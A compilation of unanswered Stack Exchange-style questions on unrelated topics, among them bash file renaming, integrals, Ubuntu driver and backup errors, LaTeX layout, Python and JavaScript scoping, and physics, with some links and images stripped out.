I have quite a number of files and directories with spaces in their filenames in my ext4 filesystems.   How should I safely find and rename them? I have bash and am running Ubuntu.    Is it possible to interactively rename each found file, i.e. be asked if I want to rename what to what for each file?  What convention for choosing filenames would you use to rename them?


Evaluate $\int e^{2\theta} \sin (3\theta)\ d\theta$

Evaluate $$\int e^{2\theta} \sin (3\theta)\ d\theta .$$   I am little stuck as to what I can do after this point. Please tell me if my method overall is flawed:


What is the default sample size of statistics in SQL Server?

From :     When none of the sample options (SAMPLE, FULLSCAN, RESAMPLE) are   specified, the query optimiser samples the data and computes the   sample size by default.   How to identify default sample size of statistics?   I went through MSDN but didn't find any formula or method to identify the default sample size. Everywhere there are only formulas present to trigger the auto statistics update. Any pointers will be helpful.


I saw this code in one of the tutorials. There isn't any error with it, but I just don't understand the code. Could someone guide me?  int trying[] = {3,4,5,6,7}; change (trying);  for(int y: trying) {     System.out.println(y);     } } public static void change (int x[]) {     for ( int counter = 0; counter < x.length ; counter++){         x[counter] += 5;      } }   Able to explain this part for me?  for(int y: trying) {     System.out.println(y);  }   I don't understand especially this line of code:      for (int y : trying)


Set keyboard caret position in html textbox

Does anybody know how to move the keyboard caret in a textbox to a particular position?  For example, if a text-box (e.g. input element, not text-area) has 50 characters in it and I want to position the caret before character 20, how would I go about it?  This is in differentiation from this question:  , which requires jQuery.


Remove '-' and capitalize the string before

I'm trying to remove the '-' from a string and capitalize the word before the '-'. For example: fraser-ultra-2019 becomes FraserUltra2019 Right now I can only remove the '-' with str_replace but not sure how to capitalize it. $string = fraser-ultra-2019 str_replace("-","",$string) // fraserultra2019


How to generate valid filename with unicode characters for download?

I add Content-Disposition header to generate filename for download.   self.response.headers['Content-Type'] = 'text/xml' self.response.headers['Content-Disposition'] = 'attachment; filename=' + os.path.splitext(filename)[0] + '.nfo'   It works well with English characters, but when the filename contains Russian characters (for ex., filename = u'Some video file (2014).avi') it fails. I tried different combinations of encode('utf-8') and urllib.quote, but it doesn't help.


"No bootable device" after installing Ubuntu in dual boot Windows 10

First I installed Windows 10 on my hp PC, and then I installed Ubuntu in dual boot. The installation was successful but when I restarted I ended up with a screen saying     no bootable device -- please insert and press any key   I restarted my pc again but I get the same screen I am also not able to start Windows 10. What can I do about this?  For open Ubuntu I need to go boot option and choose boot from efi file than salect one file of Ubuntu than I can open Ubuntu how can I make this a normal starting.  In a Ubuntu I can open my whole files which are in windows 10.


I've found a method for integration of  $\frac{1}{e^x +1}dx$. However none of the information I found explains the intuition. It might be clear for most people, but I was hoping that somebody could expand on it.  The problem of trying to u-substitute  $\frac{1}{e^x +1}dx$ becomes evident.  Since  $\frac{1}{e^x +1}dx$, where I substitute $e^x$ for u, gives me:  $$\int\frac{1}{u}\frac{du}{e^x}$$  Which still leaves me with $e^x $.  The method that solves it is by expanding the numerator with $e^x - e^x$ which gives us the integral:  $$\int \frac{e^x + 1 - e^x}{e^x +1}dx$$  I have seen that it works. But what compels somebody to expand the numerator with $e^x - e^x$? What benefit does a mathematician intuitively see with this? How could I be sure that it just doesn't give me back the initial integral:  $$\int\frac{1}{u}\frac{du}{e^x}$$  ?


The concurrence of angle bisector, median, and altitude in an acute triangle

$ABC$ is an acute triangle. The angle bisector $AD$, the median $BE$ and the altitude $CF$ are concurrent. Prove that angle $A$ is more than $45$ degrees. Here $D,E,F$ are  points on $BC,CA,AB$ respectively.  This question was asked in 4th All-Soviet Union Mathematics Competition  in 1970 and the wording of the problem is same.


Having difficulty installing the drivers for epson v330 scanner

After downloading the software from epson & running the ./install.sh file as instructed, I get the following error: Err:19 http://www.getdeb.net/ubuntu xenial-getdeb/apps amd64 Packages   403  Forbidden Ign:20 http://www.getdeb.net/ubuntu xenial-getdeb/apps i386 Packages Reading package lists... Done W: The repository 'http://archive.getdeb.net/ubuntu xenial-getdeb Release' does not have a Release file. N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use. N: See apt-secure(8) manpage for repository creation and user configuration details. E: Failed to fetch http://www.getdeb.net/ubuntu/dists/xenial-getdeb/apps/binary-amd64/Packages  403  Forbidden E: Some index files failed to download. They have been ignored, or old ones used  Any help with this problem would be much appreciated.


Theoretical explanation behind alpha particle emission

I have started studying radioactive decay.  When I studied alpha-particle emission from an unstable nucleus I wondered why should there be emission of helium nucleus only(alpha particle) and why not lithium nucleus or of any other element.  Is there any explanation as to why emission of helium nucleus is favourable and quite common?


Arrows show wrong axes. Something went wrong with the axes and they began to show absolutely wrong directions. Maybe someone know how to fix this?


How to copy a file in Python with a progress bar?

When copying large files using shutil.copy(), you get no indication of how the operation is progressing..  I have put together something that works - it uses a simple ProgressBar class (which simple returns a simple ASCII progress bar, as a string), and a loop of open().read() and .write() to do the actual copying. It displays the progress bar using sys.stdout.write("\r%s\r" % (the_progress_bar)) which is a little hackish, but it works.  You can see the code (in context)   Is there any built-in module that will do this better? Is there any improvements that can be made to this code?


I know there are infinitely many proper subgroups of $\mathbb{Z} \oplus \mathbb{Z}$, but is $\mathbb{Z} \oplus \mathbb{Z}$ cyclic?


How to prove that given set is a connected subset of the space of matrices?

Let $M$ be the space of all $m\times n$ matrices. And $C=\{X\in M|\operatorname{rank}(X)\leq k\}$ where  $k\leq \min\{m,n\}$. Check whether the set $C$  is:   Closed Connected Compact Open   What are some other good properties of the set $C$,for example is it a manifold?  Clearly the set $C$ is closed  if someone is interested  a good proof can be found , hence $C$ is not open. Also as $C$ is unbounded therefore not compact. How to check whether the set $C$ is connected or not?


iOS app doesn't show edit notifications in the inbox

Viewing SE in a desktop browser, I get edit notifications in the inbox:    But in the iOS app (version 1.2.2), I do not see edit notifications in the inbox:


80s or 90s TV episode where a man trapped between two seconds sees world deconstructed and rebuilt

I'm trying to find an episode from what I think is a sci-fi TV series produced sometime in the 80s or 90s.  In the episode, a man and another character(s) finds himself stuck in the interval between two seconds.  In that interval, he witnesses a crew of workers whose job it is to destroy the "old" second (everything in it; house, yard, the rest of the world) and build a near duplicate of the upcoming second.  The man is discovered by this "time construction crew" and is told that since he's seen the truth about this in-between time world, he can never return to his time.  He will simply disappear.  He manages to hide at the last minute and the time crew has run out of time to catch him.  The "real" world catches up as the next "second" ticks into place.  I thought this might have been an Amazing Stories episode but upon reviewing summaries of those two seasons, I don't think I saw it there.  Does anyone know this episode and series? There were other good episodes in this Twilight Zone-like series.


What's the purpose of 'read more' dividers on non-paywalled pages?

Some non-paywalled news websites started recently adding 'see more' dividers to their articles on mobile versions of their sites.  This made sense on sites likes the Wall Street Journal, where you have to be a paying subscriber to continue reading, but what about free-to-access articles? What's the purpose of adding them there?  We can't say that it's for analytics (how many people read beyond this threshold) since we already have more precise tech for this that doesn't require the user to click on a button.  Some notable examples are: qz.com, techcrunch.com and nytimes.com.


How to find all dependencies not installed

I have .deb file which is not updated for Ubuntu 13.10, it needs a lot of dependencies to be installed. How can I get a list of all its dependencies not installed in my Ubuntu 13.10?


Remove duplicate entries, keeping latest only

I have several spreadsheets with information I need to consolidate, each with different (and sometimes overlapping) portions of the final data set I'm hoping to create. Typically, combining spreadsheets with similar data is easy to do by dumping all the data into one sheet and using Remove Duplicates. However, I want to make sure that the line items which are left represent the latest version of the duplicates.  I will be importing the following data from each spreadsheet:   A unique identifier field, (UID) which identifies the subject of the line item and will be used to spot duplicates between the input sheets. A status field, (STATUS) which will have information about the item called out in the unique identifier field. A date field, (DATE) which will contain the date the imported data was originally written.   What I need is for my output to contain only one line item for each UID, and have data from the STATUS field which matches the most recent DATE for that UID from the input sheets.  What is the easiest way to do this in Excel?


Expected value of lognormal distribution.

Hi I'm stuck on this question:  Recall that $X$ is said to have a lognormal distribution with parameters $\mu$ and $\sigma^2$ if $\log(X)$ is normal with mean $\mu$ and variance $\sigma^2$.  Suppose $X$ is such a lognormal random variable.   Find $\mathrm{E}[X]$. Find $\mathrm{Var}(X)$.    I know that the approach is to find the moment generating function and take the first derivative for the expected value and the second derivative for the variance (I think), but I can't seem to figure it out.  Thanks in advance.


For the past few years I have been assigning a C# Property to a field.  I saw some code today that just had      public String Title     {         get;set;       }   I was thinking this was just un-finished code. However the program worked and returned the Title String!  I have been doing this      private string _title;      public String Title     {         get { return this._title; }         set { this._title = value; }      }   So here my question is, is there any benefit, or need to write the properties by attaching them to a field like I have been doing for the past 2 years?


How to install RTL8125 Ethernet controller kernel module or driver for Ubuntu 20.04

Back Story: I built a new computer, using the MSI Z490 A Pro motherboard. It comes with a RTL8125 2.5G Ethernet Controller. I decided to install Ubuntu 20.04 for this build. This distro doesn't seem to come with necesssary driver for this controller. I don't have wifi either. If part of solution is tethering with bluetooth I could give that a shot, but I would prefer to learn with driver from usb stick if possible. I have no Linux or programming experience, except a bit of front-end web dev., so you're dealing with a novice, but I started to read and learn about Ubuntu and linux, so far I got the thing installed and I'm getting to know commands, command prompt, terminal in general. I believe I would know how to get it going with clear step-by-step instructions, I have a generally good grasp of the basics of how its structured (if I qualify to say that, lol). Typing in terminal lspci -knn | grep Eth -A3  I get the name of my Ethernet controller, RTL8125 2.5G ...and also it shows at bottom: kernel modules: r8169. Typing in terminal: sudo lshw -C network  says: network unclaimed  and shows Ethernet Controller RTL8125 info. Here is the link to realtek website:  On the Realtek website there is a driver for RTL8125 for linux. I tried following instructions, however they assume people are experts, or info ommited. But I got stuck on third step.. First step: unpack the tarball, Second step: "Change to the directory: # cd r8125-8.aaa.bb" Third step:  If you are running the target kernel, then you should be able to do: # ./autorun.sh  So I decided to make a new directory and put all content of driver(r8125-8.aaa.bb) in it. New directory path: ~/Downloads/Drivers Then I used chmod 777 in terminal to give executive permissions to all files from driver folder. Then I tried to do third step and didn't seem to work. Is there something I need to do with NetworkManager directory? Should I make a new kernel module somehow? What about dkms? What does that have to do with this problem?


Real-life example of high order equations?

I'm helping my son with Math in high school. He is now learning to solve higher order equations, with for example $x^4$, $x^3$ or $x^5$. The point is that he sees no use in solving these equations (apart from an algebraic challenge) because for him they serve no purpose.  The quadratic equation is easy to illustrate by applying it to a ball you throw upward.   Would you have some examples of real-life systems where higher order equations are used?  Tks!


Is there a maximum number of ppas that I can add?

I read this:     There is a finite number of PPAs that a user can add (more accurately GPG Keys). If they don't need a PPA to solve the problem, don't make them use up one of their slots.   Is this true? I can't find any source. If this is true, what is the limit? I've seen the number 65k floated around but nothing concrete.


Getting highest value from a dict of numbers as strings

production = {         'item1': '500',         'item2': '10000',     }   I'm trying to get the highest value from that dict, which would be 10000. However, I'm getting 500 as return of max(production.values()).  I believe it's like that because it's getting the highest value from string, not int (taking the lexicographical order of their codepoints).  Could someone help me with a solution. Thanks!


Exporting Favorites from Character Viewer

I would like to export the list of Favorites in Character Viewer (which can be launched by selecting "Show Emoji & Symbols" in the menu bar icon for the input source) and import it into a different Mac.  Where is this list of Favorites stored?  I am using macOS Mojave 10.14.2.


Characterization of integral quadratic forms representing the same numbers?

Is there a simple characterization of integral quadratic forms that represent the same numbers?  I know that if two quadratic forms are in the same $GL_n(\mathbb{Z})$-orbit then they represent the same numbers - are there forms in different such orbits that represent the same sets of integers?  Thanks!


Prove that: $\sqrt{2\sqrt{3\sqrt{4\cdots\sqrt{n}}}}<3,\,\forall n\in\mathbb N.$

I know that: $\sqrt{1+2\sqrt{1+3\sqrt{1+4\sqrt{1+\cdots}}}}=3,$ which is one of Ramanujan's infinite radicals. So surely the expression in question is less than $3.$ But how can I prove this without mentioning this or in general how to prove: $\sqrt{2\sqrt{3\sqrt{4\sqrt{\cdots\infty}}}}<3$ ? I'm not quite sure, how to approach this? Expressing the expression as an infinite product: $$\prod_{i=1}^{n} i^{\frac1{2^{i-1}}},\text{ as }n\to\infty$$ and then using some sort underlying inequalities might help! Please suggest. Thanks in advance.


Ubuntu 12.04 connected to wireless network but internet not working

I can connect to my house's wireless network just fine, but when I'm connected I can't browse the web. Firefox starts connecting to a site and then just poops out. This doesn't happen on my roommates' computers (running Windows) or on our 3DSes, so I know it's just my laptop.  (Edited to remove irrelevant information)    I would post this as an answer, but the site keeps converting it to a comment. Thank you for all the suggestions, though!


How can we make any integer m>11 using 3's and 5's only??

Is there any general solution of this? using 2 integers, what is the minimum number formed after which we can make any number using those 2 integers?  so it says 3a + 5b = m  now we know 4, 7 do not occur, but how can we say we can make any integer m>11 !!  I know 11 is the minimum, but how did it come,  what if it wasnt 3's and 5's say it was 4's and 5's?  is there any general method for this? I cant find it, please help.


Are these two 2D list initialization in python3 the same?

list1=[[False]*6]*5 list2=[[False]*6 for _ in range(5)] print(list1==list2) True  It seems that list1 is the same to list2, and list1 is simpler. but why most people use list2?


use the fact that $\tan 2x=\sin2x \ /\cos2x$ to prove that $\tan 2x=2\tan x/(1-\tan^2x)$

I need to use the fact that  $\tan 2x=\sin2x \ /\cos2x$ to prove that: $$\tan 2x=\frac{2\tan x}{1-\tan^2x}$$ I don't know where to start. Please help or hint. Thanks in advance.


I'm not a native English speaker but I'm always trying to do my best. Unfortunately I have a real problem with dates for some odd reason, I couldn't learn when was my birthday until I was 12 years old.  Anyway, as I was learning names of the months on English, and since I know some Latin from high school I noticed that English months don't match up with their Latin numeral counterparts. For example:  September - 9. month October - 10. month November - 11. month December - 12. month  While on latin septem, octo, novem and decem are words for 7, 8, 9 and 10.  So, does anyone know why is that. At first I thought it had something to do with switch from Julian to Gregorian calendar but I figured it's too small of a difference.  Anyone? :)


Companion's Leaders are hostile, but not attacking

Villas and Farkas are always chasing after me with their weapons raised, but they won't attack me (I'm the companions harbinger). I just did the Liberation of Skyrim quest so I'm wondering if I accidentally killed someone with my shout? How can I fix this? I can't fast travel any more because they won't stop chasing me.


Prove that $R x R$ is not isomorphic to $R[x]/(x^2)$

How do I prove that the following rings are not isomorphic to each other? I have already proved that $R \times R$ is not isomorphic to $C$. I also need to show that $C$ is not isomorphic to $R[x]/(x^2)$. Thanks


How to compute $\int_0^\infty e^{-ax}cos(bx) dx $?

I need to compute $\int_0^\infty e^{-ax}cos(bx) dx $. Integration by parts seems to go nowhere and I can't think of any useful substitutions.


how to validate first three digits of phone number

I have a TextFormField for a phone number and I  want to validate the input to match my RegEx to phone number value  the valid inputs are   075xxxxxxxx 077xxxxxxxx 078xxxxxxxx 079xxxxxxxx   I tried this r"^ (?:[0]7)?[0-9]{11}$" but its not working  any way to do it right?


What exactly the getter and setter method does?

How and why getter adn setter methods are used in apex? For Ex: What does this line of code does? Public String companyname{get;set;} And where in your code these methods be ideally used?


the following syntax print the output1 down   echo "$status"    output1:      component_name : TEZ_CLIENT     recovery_enabled : true     component_name : WEBHCAT_SERVER         recovery_enabled : true     component_name : YARN_CLIENT            recovery_enabled : true     component_name : ZKFC           recovery_enabled : true     component_name : ZOOKEEPER_CLIENT             recovery_enabled : true     component_name : ZOOKEEPER_SERVER                      recovery_enabled : true   how to add the printf syntax in order to get the following lines:  expected output      component_name : TEZ_CLIENT             recovery_enabled : true     component_name : WEBHCAT_SERVER         recovery_enabled : true     component_name : YARN_CLIENT            recovery_enabled : true     component_name : ZKFC                   recovery_enabled : true     component_name : ZOOKEEPER_CLIENT       recovery_enabled : true     component_name : ZOOKEEPER_SERVER       recovery_enabled : true


I am looking for an easier way than mine to solve the problem.     Problem: Find the remainder when $11^{12}$ is divided by $13$.    Here is what I did. I simplify $11^{12}$ mod $13$ = $(–2)^{12}$ mod $13$. Then I don't know how to simply further.


I am travelling to Rome along with five other members (all in a family) from Bengaluru via Jeddah. My layover in Jeddah is 13.5 hours before i catch a connecting Flight to Rome. I won't be moving out of airport in Jeddah. Do I still need a Transit visa in Saudi Arabia.


Is accuracy a reliable evaluation metric for training a classification model?

What is the problem in training on accuracy when balancing classes during training? I Understand why accuracy is not a good metric for the test data evaluation of the model, as in the test data we have no control over class imbalance. This should be the same reason why F1/Dice score is bad for evaluating classification in the test set (although currently used in most segmentation challenges -BRATS, ISLES,...-).   But I see no problem in optimizing on accuracy over training samples, for which we can control class imbalance through selective sampling.  Is there any reason not to use accuracy as the training metric, while being careful not to use it for evaluation of generalization?


If the word "method" is abstract noun then why do people say "a method" with article?

I learnt that "abstract nouns don't get articles". Now my question is if the word "method" is an abstract noun then why do  say "a method" with an article? The same question for the noun "wish", which is referred as "a wish" ("You need a wish...").   Are they considered as mistakes or they are exceptions among other abstract nouns which get articles? If they are, is there an explanation for why they get articles?


Vertical alignment in tabular cells with variable height

I have the code:  \documentclass{article} \usepackage[a4paper]{geometry} \usepackage{tabularx} \usepackage{lipsum} \begin{document} \begin{tabularx}{\textwidth}{ | X | c | }   \hline   \lipsum[1] & top\\   \hline   \lipsum[1] & center\\   \hline   \lipsum[1] & bottom\\   \hline \end{tabularx} \end{document}   Gives this:    The top row is already aligned top. How can I vertically align the center row at the center? And the bottom row at the bottom?


I found a pretty cool box I would like to replicate and use in my report, however, the source code for this particular box is not available, and although I'm getting close to figuring it out, I've already put a ridiculous amount of time into it, so I'm hoping maybe one of y'all have an easy answer.   The box I'm referencing can be seen in the Table of Contents -- Section 6 -- of the . It's the small green "side by side" box.  I basically just want to reproduce the box width/size, and vertically-stacked text style, change the colors, and enter arbitrary text.      Start with the used \documentclass{... and end the code with \end{document} so that it is compilable with pdflatex. Not all of us use LyX ...    Here's what I have so far:  \documentclass{article} \usepackage[most]{tcolorbox}  \begin{document} \tcbsidebyside [ nobeforeafter, sidebyside adapt=both, size=fbox, drop lifted shadow, bicolor, colback=black, colbacklower=white, colframe=black, colupper=white,  collower=black, fontupper=~\bfseries, fontlower=\bfseries, ] {AC} {H} \end{document}   Here's my alternate approach:   \documentclass{article} \usepackage[most]{tcolorbox}  \begin{document}  \begin{tcolorbox} [ nobeforeafter, sidebyside, size=fbox, skin=bicolor, halign=center, halign lower=center, colframe=black, colback=black,  colbacklower=white,  colupper=white,   collower=black, fontupper=~\bfseries,  fontlower=\bfseries, ] \textbf {AC} \tcblower {H} \end {tcolorbox} \end{document}   Thanks!  ijwmcb


I have studied that a dimensionally correct formula/equation may or may not be correct. But in order for a formula or an equation to be correct, it must be dimensionally correct, according to the principle of homogeneity.  What about so many $x$-$t$, $v$-$t$, $a$-$t$, and $a$-$v$ relations then?  For example, displacement as a function of time is given by  x = 2t, or  x = t² - t ??  Likewise, v = 3t,  v = t²,  a = 1/x²  ...... etc. Just a few examples.   In all of the above examples, from what I see, they are dimensionally incorrect. It's pretty obvious to figure it out, isn't it? My question is, why are they being used in my books then? They show up often in illustrations, or when I solve numerical problems.   EDIT : I see my question has been marked as a duplicate. I'm totally surprised. Because my question is different, from the one asked in the other thread. I know that the equation for working out the displacement in nth second is dimensionally correct, there's a hidden (1s) in three places on the right hand side. And no, we're not choosing this (1s) arbitrarily. It can be proved using the 2nd equation of motion, that there's a hidden (1s) in three places on the right hand side. I already know, that equation is dimensionally correct. What I've asked is completely different. I mean, the answers I got, were something like, there's a hidden 1 m/s², or 1 m/s. How do I know for sure that the hidden constant has the same dimensions as m/s² or m/s, or something else? Is there a proof? Because as I said, the equation for working out the displacement in nth second is dimensionally correct and can be proved using the 2nd equation of motion, that there's a hidden (1s) in three places on the right hand side. We're not just choosing this (1s) ''arbitrarily'' just to make the equation dimensionally correct.


Can I change the speed of light in vacuum?

General theory of relativity proved that gravity does attract light ( photons ), what if I project a beam of light radially towards a black holes will it increases it's speed or not?


What "allocation unit size" should I use for a drive with a single NTFS partition?

I'm formatting a 1TB external hard drive as a single NTFS partition.  This drive is mainly meant for storing media.  Should I choose something other than the default allocation unit size?  The options range from 512 bytes to 64K.  Are there any guidelines that I should use with partitions storing other data?  Should I stop poking around and just leave it at "default"?


Issue with rendering tranpsarent meshes on transparent background in cycles

I am trying to add a sort of engine glow to a model. I have found a solution that looks good enough for me in the 3D viewport preview, but looks very different in the final render. Here is an image of the effect:   You can see how the transparency of the 'flame' is vastly different in front of the transparent background. This is especially confusing because this is not the case in the 3D viewport.  Any ideas what I am doing wrong here?  If it helps the blender file can be found here:


Prove The following inequality $(ax+by)^2 \le ax^2+by^2$ for $a+b=1$

Prove The following inequality $(ax+by)^2 \le ax^2+by^2$ for $a+b=1, 0 \le a,b \le 1$ I tried expanding the equation and substituting $b=1-a$ \begin{equation} (ax+by)^2=a^2x^2+2abxy+b^2y^2=a^2x^2+2axy-2a^2xy+b^2y^2 \end{equation} The middle member $2axy-2a^2xy$ is negative only for $a>1$, so I'm not sure how to proceed from here. In the hints I was given it was also said that it can be done by proving that the quadratic form $q(x,y)=ax^2+bx^2-(ax+by)^2$ is always positive. I tried finding the eigenvalues but ended up with huge equation I couldn't make sense of.


! Undefined control sequence. \str_lowercase:nlatin

\documentclass[bibliography=totoc, parskip=half, DIV=calc, 12pt, captions=tableheading]{scrartcl}      \usepackage{polyglossia}     \setdefaultlanguage{german}     \usepackage[autostyle=true,german=quotes]{csquotes}      \usepackage{graphicx}     \usepackage[headsepline]{scrlayer-scrpage}     \pagestyle{scrheadings}     %\usepackage[style=numeric,backend=biber, natbib=true]{biblatex}     %\addbibresource{nes.bib}     \usepackage{booktabs}       \usepackage{romanbar}     \usepackage[breaklinks=true]{hyperref}     \usepackage{amsthm,amsmath,amssymb}     \newtheorem{theorem}{Satz}   Can anybody see where I made the mistake that leads to this error?


Déjà Dup backup failing with python stack trace on Ubuntu 16.04

I'm running Ubuntu 16.04 and I've been unable to backup my home directory for several days now.  Every time Déjà Dup runs it fails with the following stack trace:  Traceback (most recent call last):   File "/usr/bin/duplicity", line 1532, in <module>     with_tempdir(main)   File "/usr/bin/duplicity", line 1526, in with_tempdir     fn()   File "/usr/bin/duplicity", line 1380, in main     do_backup(action)   File "/usr/bin/duplicity", line 1508, in do_backup     incremental_backup(sig_chain)   File "/usr/bin/duplicity", line 653, in incremental_backup     bytes_written = dummy_backup(tarblock_iter)   File "/usr/bin/duplicity", line 232, in dummy_backup     while tarblock_iter.next():   File "/usr/lib/python2.7/dist-packages/duplicity/diffdir.py", line 523, in next     result = self.process(self.input_iter.next())   File "/usr/lib/python2.7/dist-packages/duplicity/diffdir.py", line 195, in get_delta_iter     for new_path, sig_path in collated:   File "/usr/lib/python2.7/dist-packages/duplicity/diffdir.py", line 286, in collate2iters     relem2 = riter2.next()   File "/usr/lib/python2.7/dist-packages/duplicity/diffdir.py", line 354, in combine_path_iters     refresh_triple_list(triple_list)   File "/usr/lib/python2.7/dist-packages/duplicity/diffdir.py", line 341, in refresh_triple_list     new_triple = get_triple(old_triple[1])   File "/usr/lib/python2.7/dist-packages/duplicity/diffdir.py", line 327, in get_triple     path = path_iter_list[iter_index].next()   File "/usr/lib/python2.7/dist-packages/duplicity/diffdir.py", line 239, in sigtar2path_iter     for tarinfo in tf:   File "/usr/lib/python2.7/tarfile.py", line 2508, in next     tarinfo = self.tarfile.next()   File "/usr/lib/python2.7/tarfile.py", line 2350, in next     raise ReadError("unexpected end of data") ReadError: unexpected end of data   Anybody have any ideas about how I can get around this problem?  I checked my disk space with df and nothing is full.  It used to run fine, but just mysteriously stopped working.  The last file in my backup directory is:  duplicity-new-signatures.20170518T071743Z.to.20170525T071808Z.sigtar.gz  Thanks in advance for any help.


I would like to know if light is affected by gravity, also, I would like to know what is the correct definition of gravity:  "A force that attracts bodies with mass" or "a force that attracts bodies with energy, such as light"?  Is light massless after all?


How do decision trees decide the value to be split upon for continous variables?

I know that decision trees make the split based on some metric such as entropy, information gain, gini index etc. But for continous variables how does it figure the value at which to make a split. For example, my split is on age. How does it find out a specific age and decides values greater than this go to right, and vice versa.? Is it the mean value?


Let $f:\mathbb{R} \rightarrow \mathbb{R}$ be a differentiable function such that $f(0) = 0$ and $f'(x) = [f(x)]^{2}$, $\forall x \in \mathbb{R}$. Show that $f(x) = 0$,  $\forall x \in \mathbb{R} $.  I first (unsuccessfully) tried using the Mean Value Theorem, but this is in the Integrals chapter so the solution probably involves them. Can't really see where integrals come in here though.  What I've got so far:   (i) Since $f$ is differentiable, thus it is continuous and, hence,  integrable. Therefore $f^2$ is also integrable and as $f'=f^2$, $f'$ is too.   (ii) $f' \geq 0$, $\forall x \in \mathbb{R}$


Is it somekind of victory thing or what?


How important is mathematical logic and set theory in mathematics?

I'm talking about topics such as model theory, proof theory, predicate calculus, Godel's incompleteness, ordinal numbers, large cardinals, etc. How much of these do I need to know if I want to specialize in some other areas of mathematics such as algebra and topology?


Can you teleport or Dimension Door out of your clothes?

I've got a warlock with Flee The Scene, a dimension door spell-like ability. He's been attacked by monstrous spiders and has 1 STR left, meaning his 15lbs of armour alone is more than a heavy load.   He's not grappled, and he's not unable to move as he would be at 0 STR. Can he use Flee The Scene to jump out of his clothes and sprint naked for freedom?


Prove that if every node in a simple graph $G$ has degree $3$ or higher, then $G$ contains a cycle with a chord.

By simple graph I mean a graph with no loops or double edges.  If $C$ is a cycle and $e$ is an edge connecting two non adjacent nodes of $C$, then $e$ is called a chord.  I realize that one plan of attack is to choose any node, say $v_0$.  Then, since the degree of $v_0$ is $3$ there are $3$ other nodes connected to it.  Repeating this argument we will eventually have to reach a node that is connected by an edge to one of the previously used nodes.    I just don't see how this guarantees the existence of a chord.


Some times people accept the answer but don't upvote it. When this happens to me I'm always tempted to ask them to upvote it, but I don't know if I'll look rude or needy lol. Should we ask for upvote when our answer is accepted or just let it go?  (It just happened to me )


What are acceptable reasons for flagging as "Requires Moderator attention"?

After reading , I feel I don't quite understand this function. What are the guidelines for flagging a question as "Requires Moderator attention"?


I have a sentence that I'm confused about  She has helped the organization to reach its goals...   or  She has helped the organization reach its goals...   Which one is correct? And do explain why if possible.


Using LaTex class files as layouts in lyx

I would appreciate it if you could please help me with the following issue: I want to write a dissertation in Lyx using university provided LaTex template. The provided class file, dissertation.cls, includes everything, which is based on a report layout. I therefore tried to create a custom layout by something like   #% Do not delete the line below; configure depends on this #  \DeclareLaTeXClass[dissertation]{custom made}  # Read the definitions from report.layout  Input report.layout   I save it locally, and therefore I can pass it to lyx by selecting it. It seems that, it partially works, because I can compile the thesis, however, spacing and sizing is not the same as what is provided in the class file. I am very confused at this point. Thanks in advance.


Started cooking chicken in crock pot at 4 pm. I cooked until midnight.husband came downstairs and unplugged it. It cooled on the counter until 8 a.m. this morning is my chicken still good? Or can I reboil it and making it a chicken salad?


What exactly are the Python scoping rules?  If I have some code:  code1 class Foo:    code2    def spam.....       code3       for code4..:        code5        x()   Where is x found?  Some possible choices include the list below:   In the enclosing source file In the class namespace In the function definition In the for loop index variable Inside the for loop   Also there is the context during execution, when the function spam is passed somewhere else. And maybe  pass a bit differently?  There must be a simple reference or algorithm somewhere.  It's a confusing world for intermediate Python programmers.


What means "unable to make backup link of /binary before installing new version: No such file or directory"?

I'm trying to upgrade some package in a VM, but I dpkg refuses to apply the upgrades due the following:  dpkg: error processing /var/cache/apt/archives/ifupdown_0.7.5ubuntu2.2_amd64.deb (--unpack):  unable to make backup link of `./sbin/ifquery' before installing new version: No such file or directory Preparing to replace unzip 6.0-8ubuntu1 (using .../unzip_6.0-8ubuntu2_amd64.deb) ... Unpacking replacement unzip ... dpkg: error processing /var/cache/apt/archives/unzip_6.0-8ubuntu2_amd64.deb (--unpack):  unable to make backup link of `./usr/bin/unzip' before installing new version: No such file or directory dpkg-deb: error: subprocess paste was killed by signal (Broken pipe)   What it means? The permissions are fine and the file definitively exist:  ls -l /sbin/ifquery -rwxr-xr-x 1 1500000 1500000 58496 dic 12  2012 /sbin/ifquery


Detect verb form (plural or singular) in textcite from biblatex

Skimming through this forum as well as the current documentation of biblatex, I did not find a functionality to achieve this. First, consider this MWE, inspired by :  \documentclass{article}  \usepackage{biblatex}  \usepackage{filecontents}  \begin{filecontents}{\jobname.bib} @misc{FirstEntry,   author = {Author, A. and Donald Duck and Winston Churchill},   year = {2010},   title = {Some Title}, } @misc{SecondEntry,   author = {Buthor, B.},   year = {2020},   title = {Another Title}, } \end{filecontents}  \addbibresource{\jobname.bib}  \nocite{*}  \begin{document}  \textcite{FirstEntry} \textbf{shows} us nothing at all.  \textcite{SecondEntry} shows us a lot.  \printbibliography  \end{document}   yielding    From the biblatex doc, we see that textcite is provided as \textcite[<prenote>][<postnote>]{<key>}, working wonderfully. Now, this is a very minute and niche thing to ask, but is there a function like  \textcite[<prenote>][<postnote>][<base verb>]{<key>}   essentially expanding the command by another optional argument that takes in the base form of a verb, and prints, e.g., do if the textcite and its surrounding settings happen to print a list of authors, like for FirstEntry in my first example, and does if it so happens to print a single author?  It is easy to do this manually. However, it is sometimes not obvious, especially if working with external library software like Zotero, if a bib-entry has just one or multiple authors. This has happenend to me many times now, and if at some point one overlooks the tiny missing (or superfluous) s at the verb's end, it can get embarrasing.  We could then use  \textcite[][][show]{FirstEntry} us nothing at all.  \textcite[][][show]{SecondEntry} us a lot.   and never have to worry again, since it would do nothing to the base verb in the first sentence, and automatically append the s in the second one.  If the authors of the bib entry change later, after the respective passage has long been written, we would not have to worry about that either.  This is also thinkable for other languages.


How can I access local scope dynamically in javascript?

If you want to use global functions and variable dynamically you can use:  window[functionName](window[varName]);   Is it possible to do the same thing for variables in the local scope?  This code works correctly but currently uses eval and I'm trying to think of how else to do it.  var test = function(){     //this = window     var a, b, c; //private variables      var prop = function(name, def){         //this = window         eval(name+ ' = ' + (def.toSource() || undefined) + ';');              return function(value){             //this = test object             if ( !value) {                 return eval('(' + name + ')');             }             eval(name + ' = value;')             return this;         };      };      return {         a:prop('a', 1),         b:prop('b', 2),         c:prop('c', 3),         d:function(){             //to show that they are accessible via to methods             return [a,b,c];         }     }; }();  >>>test Object >>>test.prop undefined >>>test.a function() >>>test.a() 1 //returns the default >>>test.a(123) Object //returns the object >>>test.a() 123 //returns the changed private variable >>>test.d() [123,2,3]


$N$th root - real meaning when $N$ is not a decimal

